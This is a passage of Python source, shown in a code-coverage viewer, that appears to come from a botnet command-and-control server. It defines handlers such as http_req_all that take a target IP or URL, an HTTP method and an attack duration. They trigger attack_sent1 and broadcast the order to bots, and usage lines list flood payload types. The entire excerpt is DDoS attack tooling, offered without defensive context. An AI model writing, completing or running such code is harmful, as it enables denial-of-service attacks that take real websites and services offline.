(args,mode, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data)
| 101 | send(client, f'Usage: .{mode_type} [IP] [PORT] [TIME] [SIZE] [TYPE_BYTES]') |
| 102 | send(client, '[TYPE_BYTES] <-- URANDOM RANDBYTES OS_URANDOM OS_RANDBYTES PY_BOTNET') |
| 103 | def http_req_all(args,mode, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data): |
| 104 | if len(args) == 4: |
| 105 | ip = args[1] |
| 106 | method = args[2] |
| 107 | secs = args[3] |
| 108 | if validate_time(secs): |
| 109 | send(client, ansi_clear, False) |
| 110 | attack_sent1(ip,"80/443", secs, client) |
| 111 | broadcast(data) |
| 112 | else: |
| 113 | send(client, Fore.RED + 'Invalid attack duration (1-999999999999 seconds)') |
| 114 | else: |
| 115 | mode_type = mode.split('.') |
| 116 | mode_type = mode_type[1].lower() |
| 117 | send(client, f'Usage: .{mode_type} [URL] [HTTP_METHODS] [TIME]') |
| 118 | send(client, '[HTTP_METHODS] <-- get post head delete options patch put all') |
| 119 | |
| 120 | def http_req2(args, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data): |
| 121 | if len(args) == 3: |
no test coverage detected